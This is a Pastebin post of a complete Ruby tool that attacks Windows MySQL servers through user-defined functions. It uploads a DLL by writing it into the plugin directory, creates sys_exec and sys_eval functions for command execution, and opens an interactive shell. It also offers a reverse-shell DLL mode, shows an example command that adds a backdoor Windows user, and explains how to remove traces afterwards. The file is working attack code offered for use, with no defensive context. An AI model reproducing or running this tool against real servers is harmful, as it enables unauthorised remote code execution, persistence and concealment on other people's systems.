Advertisement
Guest User

MySQL UDF Exploiter

a guest
Oct 19th, 2013
569
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 16.23 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. #
  3. # Windows MySQL UDF Exploit
  4. # by: Hood3dRob1n
  5. #
  6.  
  7. require 'optparse'
  8. require 'colorize'
  9. require 'mysql'
  10. require 'readline'
  11.  
  12. # 31337 Banner
  13. def banner
  14.   puts
  15.   puts "Windows MySQL UDF Exploit".light_green
  16.   puts "By".light_green + ": Hood3dRob1n".white
  17. end
  18.  
  19. # Clear Terminal
  20. def cls
  21.   system('clear')
  22. end
  23.  
  24. # Generate a random aplha string length of value of num
  25. def randz(num)
  26.   (0...num).map{ ('a'..'z').to_a[rand(26)] }.join
  27. end
  28.  
  29. # Execute commands in separate process
  30. def fireNforget(command)
  31.   pid = Process.fork
  32.   if pid.nil?
  33.     sleep(1)
  34.     exec "#{command}" # This can now run in its own process thread and we dont have to wait for it
  35.   else
  36.     # In parent, detach the child process
  37.     Process.detach(pid)
  38.   end
  39. end
  40.  
  41. # Check if Credentials work
  42. # Return db object if success, nil otherwise
  43. def can_we_connect?(host, user, pass, db=nil, port=3306)
  44.   begin
  45.     dbc = Mysql.connect(host, user, pass, db, port)
  46.     return dbc
  47.   rescue Mysql::Error => e
  48.     puts "Connection Problem".light_red + "!".white
  49.     puts "\t=> ".white + "#{e}".light_red
  50.     return nil
  51.   end
  52. end
  53.  
  54. # Pass DB Object
  55. # Confirm Windows OS
  56. # Return true or false
  57. def is_windows?(dbc)
  58.   begin
  59.     q = dbc.query('SELECT @@version_compile_os;')
  60.     q.each { |x| @os = x[0] }
  61.     if @os =~ /Win|\.NET/i
  62.       if @os =~ /Win64/i
  63.         @build='x64'
  64.       else
  65.         @build='x32'
  66.       end
  67.       return true
  68.     else
  69.       return false
  70.     end
  71.   rescue Mysql::Error => e
  72.     puts "Problem confirming target is Windows".light_red + "!".white
  73.     puts "\t=> ".white + "#{e}".light_red
  74.     puts "Sorry, can't continue without this piece".light_red + "....\n\n".white
  75.     exit 666;
  76.   end
  77. end
  78.  
  79. # Find Drive & Path in Use
  80. def get_drive(dbc)
  81.   begin
  82.     q = dbc.query('SELECT @@tmpdir;')
  83.     q.each { |x| @tmp=x[0]; }
  84.     return @tmp[0]
  85.   rescue Mysql::Error => e
  86.     puts "Problem getting drive from @@tmpdir".light_red + "!".white
  87.     puts "\t=> ".white + "#{e}".light_red
  88.     return nil
  89.   end
  90. end
  91.  
  92. # Determine Plugin Directory
  93. # This is where we need to write UDF to
  94. def get_plugin_dir(dbc)
  95.   begin
  96.     q = dbc.query('SELECT @@plugin_dir;')
  97.     q.each { |x| @pdir=x[0]; }
  98.     if @pdir.nil?
  99.       q = dbc.query("SHOW VARIABLES LIKE 'basedir';")
  100.       q.each { |x| @pdir=x[1]; }
  101.       plugpath = @pdir.split("\\").join("\\\\")
  102.       plugpath += "\\\\lib\\\\plugin\\\\"
  103.     else
  104.       plugpath = @pdir.split("\\").join("\\\\")
  105.       plugpath += "\\\\"
  106.     end
  107.     return plugpath
  108.   rescue Mysql::Error => e
  109.     puts "Problem determining the plugins directory".light_red + "!".white
  110.     puts "\t=> ".white + "#{e}".light_red
  111.     puts "Sorry, can't continue without this piece".light_red + "....\n\n".white
  112.     exit 666;
  113.   end
  114. end
  115.  
  116. # Check if the UDF SYS_EXEC() function already exists
  117. # Return true or false
  118. def sys_exec_check(dbc)
  119.   begin
  120.     q = dbc.query("SELECT COUNT(*) FROM mysql.func WHERE name='sys_exec';")
  121.     q.each do |x|
  122.       if x[0].to_i == 0
  123.         return false
  124.       else
  125.         return true
  126.       end
  127.     end
  128.   rescue Mysql::Error => e
  129.     puts "Problem Checking for SYS_EXEC() function".light_red + "!".white
  130.     puts "\t=> ".white + "#{e}".light_red
  131.     return false
  132.   end
  133. end
  134.  
  135. # Check if the UDF SYS_EVAL() function already exists
  136. # Return true or false
  137. def sys_eval_check(dbc)
  138.   begin
  139.     q = dbc.query("SELECT COUNT(*) FROM mysql.func WHERE name='sys_eval';")
  140.     q.each do |x|
  141.       if x[0].to_i == 0
  142.         return false
  143.       else
  144.         return true
  145.       end
  146.     end
  147.   rescue Mysql::Error => e
  148.     puts "Problem Checking for SYS_EVAL() function".light_red + "!".white
  149.     puts "\t=> ".white + "#{e}".light_red
  150.     return false
  151.   end
  152. end
  153.  
  154. # Add UDF Package & Create Function
  155. # SYS_EXEC() & SYS_EVAL() Created (allows CMD Exec)
  156. def create_sys_functions(dbc)
  157.   udf_name = randz(15) + ".dll"
  158.   plugin_path = get_plugin_dir(dbc)
  159.   @udf_dest = plugin_path.chomp + udf_name
  160.   if @build == 'x64'
  161.     file = './payloads/64/lib_mysqludf_sys.dll'
  162.   elsif @build == 'x32'
  163.     file = './payloads/32/lib_mysqludf_sys.dll'
  164.   end
  165.  
  166.   # Upload our UDF DLL Payload file
  167.   if write_bin_file(dbc, file, @udf_dest)
  168.     begin
  169.       # Drop function if its already there, then create new
  170.       q = dbc.query("DROP FUNCTION IF EXISTS sys_exec;")
  171.       q = dbc.query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{udf_name}';")
  172.       q = dbc.query("CREATE FUNCTION sys_eval RETURNS string SONAME '#{udf_name}';")
  173.  
  174.       # Confirm it was added and all is well....
  175.       if sys_exec_check(dbc)
  176.         return true
  177.       else
  178.         return false
  179.       end
  180.     rescue Mysql::Error => e
  181.       puts "Problem creating UDF SYS functions".light_red + "!".white
  182.       puts "\t=> ".white + "#{e}\n\n".light_red
  183.       return false
  184.     end
  185.   end
  186. end
  187.  
  188. # Create new function tied to custom DLL
  189. # Once created (and called) it should trigger the DLL payload
  190. # Any use beyond that is on the User
  191. def create_custom_function(dbc, file)
  192.   dll_name = randz(15) + ".dll"
  193.   plugin_path = get_plugin_dir(dbc)
  194.   @udf_dest = plugin_path.chomp + dll_name
  195.   fake_function = 'sys_' + randz(5)
  196.  
  197.   # Upload our UDF DLL Payload file
  198.   if write_bin_file(dbc, file, @udf_dest)
  199.     begin
  200.       puts "Payload DLL writen to disk".light_green + "!".white
  201.       puts "Creating function to trigger now".light_blue + "....".white
  202.       puts "Make sure your listener is ready".light_yellow + "....".white
  203.       sleep(3)
  204.       # Drop function if its already there, then create new
  205.       q = dbc.query("DROP FUNCTION IF EXISTS #{fake_function};")
  206.       q = dbc.query("CREATE FUNCTION #{fake_function} RETURNS string SONAME '#{dll_name}';")
  207.       return fake_function
  208.     rescue Mysql::Error => e
  209.       puts "Error Triggered, Payload should have also been triggered".light_green + "!".white
  210.       return fake_function
  211.     end
  212.   end
  213. end
  214.  
  215. # Run Command via SYS_EXEC()
  216. def sys_exec_cmd(dbc, cmd)
  217.   begin
  218.     q = dbc.query("SELECT sys_exec('#{cmd}');")
  219.     q.each do |x|
  220.       if x[0].to_i == 0
  221.         return true
  222.       else
  223.         return false
  224.       end
  225.     end
  226.   rescue Mysql::Error => e
  227.     puts "Problem Executing Command".light_red + "!".white
  228.     puts "\t=> ".white + "#{e}".light_red
  229.     return false
  230.   end
  231. end
  232.  
  233. # Run Command via SYS_EXEC()
  234. def sys_eval_cmd(dbc, cmd)
  235.   begin
  236.     q = dbc.query("SELECT sys_eval('#{cmd}');")
  237.     q.each { |x| @res = x[0] }
  238.     return @res
  239.   rescue Mysql::Error => e
  240.     puts "Problem Executing Command".light_red + "!".white
  241.     puts "\t=> ".white + "#{e}".light_red
  242.     return nil
  243.   end
  244. end
  245.  
  246. # Pseduo Shell Session
  247. # Run consecutive commands
  248. def udf_sys_shell(dbc)
  249.   prompt = "(CMD)> "
  250.   while line = Readline.readline("#{prompt}", true)
  251.     cmd = line.chomp
  252.     case cmd
  253.     when /^exit$|^quit$/i
  254.       puts "\n\nOK, exiting shell & closing connection".light_red + ".....".white
  255.       break
  256.     else
  257.       res = sys_eval_cmd(dbc, cmd)
  258.       puts
  259.       if res.nil? or res == 'NULL'
  260.         puts "NULL or No results returned".light_red + "....".white
  261.       else
  262.         puts "#{res}".white
  263.       end
  264.       puts
  265.     end
  266.   end
  267. end
  268.  
  269. # Write Local Binary to File via INTO DUMPFILE
  270. def write_bin_file(dbc, file, dll_dest)
  271.   data = "0x" + File.open(file, 'rb').read.unpack('H*').first
  272.   begin
  273.     dbc.query("SELECT #{data} INTO DUMPFILE '#{dll_dest}';")
  274.     puts "Appears things were a success".light_green + "!".white
  275.     return true
  276.   rescue Mysql::Error => e
  277.     puts "Problem writing payload to file".light_red + "!".white
  278.     puts "\t=> ".white + "#{e}".light_red
  279.     if e =~ /MySQL server has gone away/
  280.       puts "This is likely due to payload which is too large in size".light_red + ".....".white
  281.       puts "Try compressing with UPX to shrink size down".light_red + ": upx 9 -qq #{file}".white
  282.       puts "\t=> ".white + "Then try again".light_red + ".....".white
  283.     end
  284.     return false
  285.   end
  286. end
  287.  
  288. ### MAIN ###
  289. options = {}
  290. optparse = OptionParser.new do |opts|
  291.   opts.banner = "Usage:".light_green + "#{$0} ".white + "[".light_green + "OPTIONS".white + "]".light_green
  292.   opts.separator ""
  293.   opts.separator "EX:".light_green + " #{$0} -t 192.168..69.69 -u root -p root -C".white
  294.   opts.separator "EX:".light_green + " #{$0} -t 192.168..69.69 -u root -p root -c \"net user hr P@ssw0rd1 /add\"".white
  295.   opts.separator ""
  296.   opts.separator "Options: ".light_green
  297.   opts.on('-t', '--target IP', "\n\tTarget IP or IP Range".white) do |target|
  298.     options[:target] = target.chomp
  299.   end
  300.   opts.on('-u', '--user USER', "\n\tMySQL User to Authenticate".white) do |user|
  301.     options[:user] = user.chomp
  302.   end
  303.   opts.on('-p', '--pass PASS', "\n\tMySQL User Password".white) do |pass|
  304.     options[:pass] = pass.chomp
  305.   end
  306.   opts.on('-C', '--connect', "\n\tConnect to SYS_EVAL() Shell".white) do |meh|
  307.     options[:mode] = 6
  308.   end
  309.   opts.on('-c', '--cmd CMD', "\n\tRun Command via Existing SYS_EXEC() Function".white) do |cmd|
  310.     options[:mode] = 5
  311.     options[:payload] = cmd.chomp
  312.   end
  313.   opts.on('-U', '--upload-mode NUM', "\n\tUpload Mode: 1:UDF_x32, 2:UDF_x64, 3:REVERSE, 4:CUSTOM".white) do |mode|
  314.     failure=false
  315.     m = mode.chomp.to_i
  316.     if m == 1
  317.       options[:mode] = 1
  318.       if File.exists?('./payloads/32/lib_mysqludf_sys.dll') and not File.directory?('./payloads/32/lib_mysqludf_sys.dll')
  319.         options[:payload] = './payloads/32/lib_mysqludf_sys.dll'
  320.       else
  321.         failure=true
  322.       end
  323.     elsif m == 2
  324.       options[:mode] = 2
  325.       if File.exists?('./payloads/64/lib_mysqludf_sys.dll') and not File.directory?('./payloads/64/lib_mysqludf_sys.dll')
  326.         options[:payload] = './payloads/64/lib_mysqludf_sys.dll'
  327.       else
  328.         failure=true
  329.       end
  330.     elsif m == 3
  331.       options[:mode] = 3
  332.       if File.exists?('./payloads/reverse_udf.dll') and not File.directory?('./payloads/reverse_udf.dll')
  333.         options[:payload] = './payloads/reverse_udf.dll'
  334.       else
  335.         failure=true
  336.       end
  337.     elsif m == 4
  338.       options[:mode] = 4
  339.     else
  340.       failure=true
  341.     end
  342.     if failure
  343.       cls
  344.       banner
  345.       puts
  346.       puts "Unable to load default DLL payload".light_red + "!".white
  347.       puts "Check path or permissions and try again".light_red + "....".white
  348.       puts
  349.       puts opts
  350.       puts
  351.       exit 69;
  352.     end
  353.   end
  354.   opts.on('-d', '--custom-dll DLL', "\n\tDLL to Upload for Custom Upload Option".white) do |dll|
  355.     if File.exists?(dll.chomp) and not File.directory?(dll.chomp)
  356.       options[:payload] = dll.chomp
  357.     else
  358.       cls
  359.       banner
  360.       puts
  361.       puts "Unable to load custom DLL payload".light_red + "!".white
  362.       puts "Check path or permissions and try again".light_red + "....".white
  363.       puts
  364.       puts opts
  365.       puts
  366.       exit 69;
  367.     end
  368.   end
  369.   opts.on('-f', '--force', "\n\tForce Creation of UDF SYS Functions".white) do |meh|
  370.     options[:force] = 'true'
  371.   end
  372.   opts.on('-h', '--help', "\n\tHelp Menu".white) do
  373.     cls
  374.     banner
  375.     puts
  376.     puts opts
  377.     puts
  378.     exit 69;
  379.   end
  380. end
  381. begin
  382.   foo = ARGV[0] || ARGV[0] = "-h"
  383.   optparse.parse!
  384.   if options[:mode].to_i == 4
  385.     mandatory = [ :mode, :target, :user, :pass, :payload ]
  386.   else
  387.     mandatory = [ :mode, :target, :user, :pass ]
  388.   end
  389.   missing = mandatory.select{ |param| options[param].nil? }
  390.   if not missing.empty?
  391.     cls
  392.     banner
  393.     puts
  394.     puts "Missing options".light_red + ": #{missing.join(', ')}".white
  395.     puts optparse
  396.     exit 666;
  397.   end
  398. rescue OptionParser::InvalidOption, OptionParser::MissingArgument
  399.   cls
  400.   banner
  401.   puts
  402.   puts $!.to_s
  403.   puts
  404.   puts optparse
  405.   puts
  406.   exit 666;  
  407. end
  408.  
  409. cls
  410. banner
  411. puts "\n\n"
  412. dbc = can_we_connect?(options[:target], options[:user], options[:pass], nil, 3306)
  413. if not dbc.nil?
  414.   # This only works on windows....
  415.   if is_windows?(dbc)
  416.     if options[:mode].to_i > 0 and options[:mode].to_i <= 2
  417.       # SYS_EXEC() UDF Injection, 1:UDF_x32, 2:UDF_x64,
  418.       if options[:force].nil?
  419.         @force=false
  420.       else
  421.         @force=true
  422.       end
  423.       if options[:mode].to_i == 1
  424.         @build='x32'
  425.       else
  426.         @build='x64'
  427.       end
  428.       # Check if sys_exec() already exists
  429.       if not sys_exec_check(dbc)
  430.         exists=false  
  431.       else
  432.         if @force
  433.           exists=false # We will drop it before creating it
  434.         else
  435.           puts "Appears the 'sys_exec()' function already exists".light_yellow + "!".white
  436.           puts "You can use the -C option to connect and use for cmd shell".light_yellow + "....".white
  437.           puts "You can also use the -f option to force new function creation".light_yellow + ".....".white
  438.           exists=true
  439.         end
  440.       end
  441.       # Create or re-create the sys_exec() function
  442.       if not exists
  443.         if create_sys_functions(dbc)
  444.           puts "Appears UDF Injection was a success".light_green + "!".white
  445.           puts "UDF Functions sys_exec() & sys_eval() created and linked to".light_green + ": #{@udf_dest}".white
  446.           puts "Dropping to pseduo shell so you can do your thing".light_blue + ".....".white
  447.           puts "Type '".light_yellow + "EXIT".white + "' or '".light_yellow + "QUIT".white + "' to close and exit the pseudo shell session".light_yellow + "....".white
  448.           puts
  449.           puts
  450.           udf_sys_shell(dbc)
  451.           puts
  452.           puts "Got SYSTEM".light_green + "?".white
  453.           puts
  454.           puts "To Remove delete the linked DLL and DROP the MySQL Functions".light_yellow + ": ".white
  455.           puts " Linked DLL".light_yellow + ": #{@udf_dest}"
  456.           puts " SQL".light_yellow + ": "
  457.           puts "    DROP FUNCTION sys_exec;".white
  458.           puts "    DROP FUNCTION sys_eval;".white
  459.         end
  460.       end
  461.     elsif options[:mode].to_i == 3
  462.       # Kingcope Exploit Re-Used
  463.       # Reverse Command Shell via DLL Injection
  464.       win = create_custom_function(dbc, options[:payload])
  465.       if not win.nil?
  466.         puts
  467.         puts "To Remove traces delete the Payload DLL".light_yellow + ": ".white
  468.         puts " #{@udf_dest}".white
  469.       end
  470.     elsif options[:mode].to_i == 4
  471.       # Custom DLL Injection
  472.       win = create_custom_function(dbc, options[:payload])
  473.       if not win.nil?
  474.         puts
  475.         puts "To Remove traces delete the Payload DLL".light_yellow + ": ".white
  476.         puts " #{@udf_dest}".white
  477.       end
  478.     elsif options[:mode].to_i == 5
  479.       # Connect & Run CMD via Existing SYS_EXEC() Instance
  480.       if sys_exec_check(dbc)
  481.         puts "Confirmed sys_exec() exists".light_green + "!".white
  482.         puts "Running command '".light_blue + "#{options[:payload]}".white + "' now".light_blue + ".....".white
  483.         if sys_exec_cmd(dbc, options[:payload])
  484.           puts "Appears command was run & things went well".light_green + "....".white
  485.         else
  486.           puts "Sorry, appears something went wrong executing command".light_red + "....".white
  487.           puts "Check command syntax, proper path escaping, and try again".light_red + ".....".white
  488.         end
  489.       else
  490.         puts "SYS_EXEC() Function does NOT exist".light_red + "!".white
  491.         puts "Try the upload (mode 1 or 2) option to upload and create it".light_red + "...".white
  492.         puts "Then you can try again or do it manually".light_red + ".....".white
  493.       end
  494.     elsif options[:mode].to_i == 6
  495.       # Connect to existing SYS_EVAL() function
  496.       # Drop to pseudo shell
  497.       if sys_eval_check(dbc)
  498.         puts "Confirmed sys_eval() exists".light_green + "!".white
  499.         puts "Dropping to pseduo shell so you can do your thing".light_blue + ".....".white
  500.         puts "Type '".light_yellow + "EXIT".white + "' or '".light_yellow + "QUIT".white + "' to close and exit the pseudo shell session".light_yellow + "....".white
  501.         puts
  502.         puts
  503.         udf_sys_shell(dbc)
  504.         puts
  505.         puts "Got SYSTEM".light_green + "?".white
  506.       else
  507.         puts "SYS_EVAL() Function does NOT exist".light_red + "!".white
  508.         puts "Try the upload (mode 1 or 2) option to upload and create it".light_red + "...".white
  509.         puts "Then you can try again or do it manually".light_red + ".....".white
  510.       end
  511.     end
  512.   else
  513.     puts "This only works against Windows targets".light_red + "!".white
  514.     puts "Find another target or find another way in".light_red + ".....".white
  515.   end
  516. end
  517. puts
  518. puts
  519. #EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement